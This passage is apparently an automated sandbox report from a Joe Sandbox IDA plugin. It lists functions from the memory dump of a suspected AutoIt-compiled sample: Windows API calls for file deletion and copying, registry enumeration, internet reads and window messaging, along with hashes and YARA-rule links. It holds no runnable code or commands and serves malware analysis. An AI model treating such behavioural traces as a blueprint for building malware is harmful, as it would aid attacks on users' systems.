GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00F64E74
FreeLibrary.KERNEL32(00000000,?,?,00FA3CDE,?,01031418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00F64E87

Strings

kernel32.dll, xrefs: 00F64E5B
Wow64RevertWow64FsRedirection, xrefs: 00F64E6E

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 145871493-1355242751
Opcode ID: 94ffae587b82089ef4e3b38de4700d83673ad26730a418ebca08ca50f856b331
Instruction ID: 08ed3e625e25b4d3a1a761b1ec01ecc1c6899a16df6c5dccf15ed369933aba02
Opcode Fuzzy Hash: 94ffae587b82089ef4e3b38de4700d83673ad26730a418ebca08ca50f856b331
Instruction Fuzzy Hash: D4D0C23990263A5B46222B256C08EAB3A1CAF85B253050116F904A6110CF21CD11E1D0

Function 00FD2947 Relevance: 7.8, APIs: 5, Instructions: 313fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00FD2C05
DeleteFileW.KERNEL32(?), ref: 00FD2C87
CopyFileW.KERNEL32(?,?,00000000,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00FD2C9D
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00FD2CAE
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00FD2CC0

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: File$Delete$Copy
String ID:
API String ID: 3226157194-0
Opcode ID: bbfc7973fb2c155a670cbe18098f00e89d54d4f809981d3ed663341338c7bd50
Instruction ID: abf26eb20a5cb80506475cfce49731d4ea4850b490b290c1e1816bc1b7a14474
Opcode Fuzzy Hash: bbfc7973fb2c155a670cbe18098f00e89d54d4f809981d3ed663341338c7bd50
Instruction Fuzzy Hash: DCB15E72D0012DABDF21EBA4CC85EDEB77DEF58310F1440A6F509E7241EA349A44AFA1

Function 00FEA387 Relevance: 7.8, APIs: 5, Instructions: 256COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 00FEA427
OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 00FEA435
GetProcessIoCounters.KERNEL32(00000000,?), ref: 00FEA468
CloseHandle.KERNEL32(?), ref: 00FEA63D

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Process$CloseCountersCurrentHandleOpen
String ID:
API String ID: 3488606520-0
Opcode ID: 807d9d704f27fe7756239cf920c9938a7e3e47a84c8097e657590143ac0c5f4a
Instruction ID: 3aebc039f483b4366dadaf4dcdc108789830f82f1d20107cb07f1467b236f2c1
Opcode Fuzzy Hash: 807d9d704f27fe7756239cf920c9938a7e3e47a84c8097e657590143ac0c5f4a
Instruction Fuzzy Hash: FFA19F716043009FD720DF25C886F2AB7E5AF84714F18885DF59ADB292DBB4EC41DB92

Function 00F9BB27 Relevance: 7.7, APIs: 5, Instructions: 171timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,01003700), ref: 00F9BB91
WideCharToMultiByte.KERNEL32(00000000,00000000,0103121C,000000FF,00000000,0000003F,00000000,?,?), ref: 00F9BC09
WideCharToMultiByte.KERNEL32(00000000,00000000,01031270,000000FF,?,0000003F,00000000,?), ref: 00F9BC36
_free.LIBCMT ref: 00F9BB7F

Part of subcall function 00F929C8: RtlFreeHeap.NTDLL(00000000,00000000,?,00F9D7D1,00000000,00000000,00000000,00000000,?,00F9D7F8,00000000,00000007,00000000,?,00F9DBF5,00000000), ref: 00F929DE
Part of subcall function 00F929C8: GetLastError.KERNEL32(00000000,?,00F9D7D1,00000000,00000000,00000000,00000000,?,00F9D7F8,00000000,00000007,00000000,?,00F9DBF5,00000000,00000000), ref: 00F929F0

_free.LIBCMT ref: 00F9BD4B

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: ByteCharMultiWide_free$ErrorFreeHeapInformationLastTimeZone
String ID:
API String ID: 1286116820-0
Opcode ID: a7f5c7b6ae1e80c01f92ac9d1f6dffffabbbb9b4f32bfc851b65cf05613d878d
Instruction ID: f336745955d4bd228a2a33e6b6f7a86ae43d0e53b25db7d5448b410fe07d9355
Opcode Fuzzy Hash: a7f5c7b6ae1e80c01f92ac9d1f6dffffabbbb9b4f32bfc851b65cf05613d878d
Instruction Fuzzy Hash: 57510C71D04209AFEF20EF65EE819BEB7BCEF84320B10426AE454D7195EB759E40E790

Function 00FCE3FB Relevance: 7.7, APIs: 5, Instructions: 167filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FCDDE0: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00FCCF22,?), ref: 00FCDDFD

Part of subcall function 00FCDDE0: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00FCCF22,?), ref: 00FCDE16

Part of subcall function 00FCE199: GetFileAttributesW.KERNEL32(?,00FCCF95), ref: 00FCE19A

lstrcmpiW.KERNEL32(?,?), ref: 00FCE473
MoveFileW.KERNEL32(?,?), ref: 00FCE4AC
_wcslen.LIBCMT ref: 00FCE5EB
_wcslen.LIBCMT ref: 00FCE603
SHFileOperationW.SHELL32(?,?,?,?,?,?), ref: 00FCE650

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: File$FullNamePath_wcslen$AttributesMoveOperationlstrcmpi
String ID:
API String ID: 3183298772-0
Opcode ID: 7539393ee8ed7d1015ad78e9310e6c414db50a026ddc0bc2c326ba79a57c6e2f
Instruction ID: 804ff16a8d9a0313c1720f422bf812d70dbb1b7f56197be46b58c07d4c9f8aaa
Opcode Fuzzy Hash: 7539393ee8ed7d1015ad78e9310e6c414db50a026ddc0bc2c326ba79a57c6e2f
Instruction Fuzzy Hash: EF5183B24087465BC724EBA0CD82EDF73DCAF85350F00491EF689D3191EF78A588A766

Function 00FEB9C9 Relevance: 7.7, APIs: 5, Instructions: 167registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00F69CB3: _wcslen.LIBCMT ref: 00F69CBD

Part of subcall function 00FEC998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00FEB6AE,?,?), ref: 00FEC9B5
Part of subcall function 00FEC998: _wcslen.LIBCMT ref: 00FEC9F1
Part of subcall function 00FEC998: _wcslen.LIBCMT ref: 00FECA68
Part of subcall function 00FEC998: _wcslen.LIBCMT ref: 00FECA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00FEBAA5
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00FEBB00
RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 00FEBB63
RegCloseKey.ADVAPI32(?,?), ref: 00FEBBA6
RegCloseKey.ADVAPI32(00000000), ref: 00FEBBB3

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: _wcslen$Close$BuffCharConnectEnumOpenRegistryUpper
String ID:
API String ID: 826366716-0
Opcode ID: 6bb9e10bbaf43beada2a49784110f8a926d6bec44dc13b14f7010c8b58739b2b
Instruction ID: f21a913f2f620e4bf374f8f538a522377c7b8fa1844dda0c4ebe1533e836ef77
Opcode Fuzzy Hash: 6bb9e10bbaf43beada2a49784110f8a926d6bec44dc13b14f7010c8b58739b2b
Instruction Fuzzy Hash: 5161D431508241AFD714DF14C890E2BBBE9FF84318F14856CF4998B2A2CB35ED45EB92

Function 00FC8BB0 Relevance: 7.7, APIs: 5, Instructions: 159COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00FC8BCD
VariantClear.OLEAUT32 ref: 00FC8C3E
VariantClear.OLEAUT32 ref: 00FC8C9D
VariantClear.OLEAUT32(?), ref: 00FC8D10
VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 00FC8D3B

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType
String ID:
API String ID: 4136290138-0
Opcode ID: 29b0feb30b91cc550fb171ff840ae14a373f09f6104a597118f7fb04956ac046
Instruction ID: 646a368841f73a7aaceee29053d404840b6fa5c9bd6a43b150e8b048619e66ed
Opcode Fuzzy Hash: 29b0feb30b91cc550fb171ff840ae14a373f09f6104a597118f7fb04956ac046
Instruction Fuzzy Hash: C9515BB5A0021AEFCB14CF58D894EAAB7F8FF89350B158559E906DB350E730E912CB90

Function 00FD8AFB Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 00FD8BAE
GetPrivateProfileSectionW.KERNEL32(?,00000003,00000003,?), ref: 00FD8BDA
WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 00FD8C32
WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 00FD8C57
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 00FD8C5F

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String
String ID:
API String ID: 2832842796-0
Opcode ID: 2f9aa54005275e22621427b24e45d72cb9ebb4351c8972c20cd21acd88720985
Instruction ID: 6d21ebb02effba08e4d9c14b1e0ef2fa894a6db08579c29060f6b23cb97787c0
Opcode Fuzzy Hash: 2f9aa54005275e22621427b24e45d72cb9ebb4351c8972c20cd21acd88720985
Instruction Fuzzy Hash: 4F514A35A00219DFCB05DF64C881A6DBBF5FF48314F088499E84AAB362DB35ED51EB90

Function 00FE8EE4 Relevance: 7.6, APIs: 5, Instructions: 143libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(?,00000000,?), ref: 00FE8F40
GetProcAddress.KERNEL32(00000000,?), ref: 00FE8FD0
GetProcAddress.KERNEL32(00000000,00000000), ref: 00FE8FEC
GetProcAddress.KERNEL32(00000000,?), ref: 00FE9032
FreeLibrary.KERNEL32(00000000), ref: 00FE9052

Part of subcall function 00F7F6C9: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,00000000,?,?,?,00FD1043,?,7644E610), ref: 00F7F6E6
Part of subcall function 00F7F6C9: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00FBFA64,00000000,00000000,?,?,00FD1043,?,7644E610,?,00FBFA64), ref: 00F7F70D

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad
String ID:
API String ID: 666041331-0
Opcode ID: 22b8c8f624a55bcc6d73f2a18bbe4650fecf1119ba1ac8c9d3e43386e43b04e6
Instruction ID: 002c12a6339b2217ea7760a8784d1455aed36824cdf96fb37dc8403c1287d85b
Opcode Fuzzy Hash: 22b8c8f624a55bcc6d73f2a18bbe4650fecf1119ba1ac8c9d3e43386e43b04e6
Instruction Fuzzy Hash: 69516F35A04245DFC710EF65C4848ADBBF1FF49324F488099E80A9B362DB75ED86EB90

Function 00FF6B76 Relevance: 7.6, APIs: 5, Instructions: 131windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(00000002,000000F0,?), ref: 00FF6C33
SetWindowLongW.USER32(?,000000EC,?), ref: 00FF6C4A
SendMessageW.USER32(00000002,00001036,00000000,?), ref: 00FF6C73
ShowWindow.USER32(00000002,00000000,00000002,00000002,?,?,?,?,?,?,?,00FDAB79,00000000,00000000), ref: 00FF6C98
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000027,00000002,?,00000001,00000002,00000002,?,?,?), ref: 00FF6CC7

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Window$Long$MessageSendShow
String ID:
API String ID: 3688381893-0
Opcode ID: c42b95d469a185b1d7161d8d106143a9462e6763282533c4a769d841df71e64d
Instruction ID: 73153308f42467bc7d78cac1888bc0bfeb2ab78480748134ae956e8212a4200e
Opcode Fuzzy Hash: c42b95d469a185b1d7161d8d106143a9462e6763282533c4a769d841df71e64d
Instruction Fuzzy Hash: A441B235A0411CAFD7248F28CD54BB57BA8EF09360F150264EA95E73B1CB71AD41EA80

Function 00F92051 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00F920C3
_free.LIBCMT ref: 00F920E3

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 7849962b7669997d64fe950c9e6898c489b0d9b0df0a16a05232f8831548823b
Instruction ID: 7a6c7922ba9ef732b5f03d2141e5b2d845ae205b8c8480a4185d4d885c6960d2
Opcode Fuzzy Hash: 7849962b7669997d64fe950c9e6898c489b0d9b0df0a16a05232f8831548823b
Instruction Fuzzy Hash: AD41E232E00200AFEF24DF78C880A5DB7B5EF89320F154569E519EB351DB35AD01EB81

Function 00FD3874 Relevance: 7.6, APIs: 5, Instructions: 101windowCOMMON

Download Yara Rule

APIs

GetInputState.USER32 ref: 00FD38CB
TranslateAcceleratorW.USER32(?,00000000,?), ref: 00FD3922
TranslateMessage.USER32(?), ref: 00FD394B
DispatchMessageW.USER32(?), ref: 00FD3955
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00FD3966

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Message$Translate$AcceleratorDispatchInputPeekState
String ID:
API String ID: 2256411358-0
Opcode ID: e176603cafebf5f19df35b1a14e23526c51ceb482bd91069b1cfcef3b142601e
Instruction ID: 5e6f05814cc2af6455080348757917e8759c59ce34904960f22e38f0e92fe0cf
Opcode Fuzzy Hash: e176603cafebf5f19df35b1a14e23526c51ceb482bd91069b1cfcef3b142601e
Instruction Fuzzy Hash: FE31C871D04345AEEB35CB349858BB637AEAB05310F0C456BE6A2822D0D3F99684FB53

Function 00FDCF1A Relevance: 7.6, APIs: 5, Instructions: 93networkfileCOMMON

Download Yara Rule

APIs

InternetQueryDataAvailable.WININET(?,?,00000000,00000000,00000000,?,00000000,?,?,?,00FDC21E,00000000), ref: 00FDCF38
InternetReadFile.WININET(?,00000000,?,?), ref: 00FDCF6F
GetLastError.KERNEL32(?,00000000,?,?,?,00FDC21E,00000000), ref: 00FDCFB4
SetEvent.KERNEL32(?,?,00000000,?,?,?,00FDC21E,00000000), ref: 00FDCFC8
SetEvent.KERNEL32(?,?,00000000,?,?,?,00FDC21E,00000000), ref: 00FDCFF2

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: EventInternet$AvailableDataErrorFileLastQueryRead
String ID:
API String ID: 3191363074-0
Opcode ID: 61b72ba22dc2794e7185816f56da3f8257582fa114a07e8fd19d136c6bb39411
Instruction ID: 010eb68fa39bc79ee6f4ef8176424ae552c8d5e628cb2d1197db57136ab0c0b0
Opcode Fuzzy Hash: 61b72ba22dc2794e7185816f56da3f8257582fa114a07e8fd19d136c6bb39411
Instruction Fuzzy Hash: D131417290420AAFDB20DFA5C984AABBBFEEF14351B14442FF516D2250D730AD45EBB0

Function 00FC1901 Relevance: 7.6, APIs: 5, Instructions: 93sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00FC1915
PostMessageW.USER32(00000001,00000201,00000001), ref: 00FC19C1
Sleep.KERNEL32(00000000,?,?,?), ref: 00FC19C9
PostMessageW.USER32(00000001,00000202,00000000), ref: 00FC19DA
Sleep.KERNEL32(00000000,?,?,?,?), ref: 00FC19E2

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
String ID:
API String ID: 3382505437-0
Opcode ID: 881cb75f1eceabd1a66f6395a3b8744271165de324d4e3273ac0b349a1761c01
Instruction ID: 31a331f510fb89f016374180a0e2c4d9c122ead1f393017734dc11fd2994aebb
Opcode Fuzzy Hash: 881cb75f1eceabd1a66f6395a3b8744271165de324d4e3273ac0b349a1761c01
Instruction Fuzzy Hash: 9031927190021EEFCB10CF68CA59BAE7BB5FF45315F104219F925A72D1C7709954EB90

Function 00FF5706 Relevance: 7.6, APIs: 5, Instructions: 82windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001053,000000FF,?), ref: 00FF5745
SendMessageW.USER32(?,00001074,?,00000001), ref: 00FF579D
_wcslen.LIBCMT ref: 00FF57AF
_wcslen.LIBCMT ref: 00FF57BA
SendMessageW.USER32(?,00001002,00000000,?), ref: 00FF5816

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: MessageSend$_wcslen
String ID:
API String ID: 763830540-0
Opcode ID: 8d8f1d70629260ab015d8e717c6161861bcba53704ea6541e690509c65679ebe
Instruction ID: 3708333afe1362c08e2af9494fa816bed305ea7821ad531e975b848a35039dbf
Opcode Fuzzy Hash: 8d8f1d70629260ab015d8e717c6161861bcba53704ea6541e690509c65679ebe
Instruction Fuzzy Hash: C7216171D0461C9ADB209FA0CC85AFDB7B8FF04B24F108256EB19EA190D7749985DF50

Function 00FE0930 Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 00FE0951
GetForegroundWindow.USER32 ref: 00FE0968
GetDC.USER32(00000000), ref: 00FE09A4
GetPixel.GDI32(00000000,?,00000003), ref: 00FE09B0
ReleaseDC.USER32(00000000,00000003), ref: 00FE09E8

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Window$ForegroundPixelRelease
String ID:
API String ID: 4156661090-0
Opcode ID: a603d73602882ea0ec3ec4b73a7ed0bfe913831d9024259878ae62f9d022bd6b
Instruction ID: 699dcd5b4a87d4300a5f1a939dbf077971e9a4572f7201f83986f015e98578b0
Opcode Fuzzy Hash: a603d73602882ea0ec3ec4b73a7ed0bfe913831d9024259878ae62f9d022bd6b
Instruction Fuzzy Hash: 1D218135600218AFD714EF65DD84AAEBBE9EF44700F048469F84AE7362DB74AC44EB90

Function 00F9CDBD Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00F9CDC6
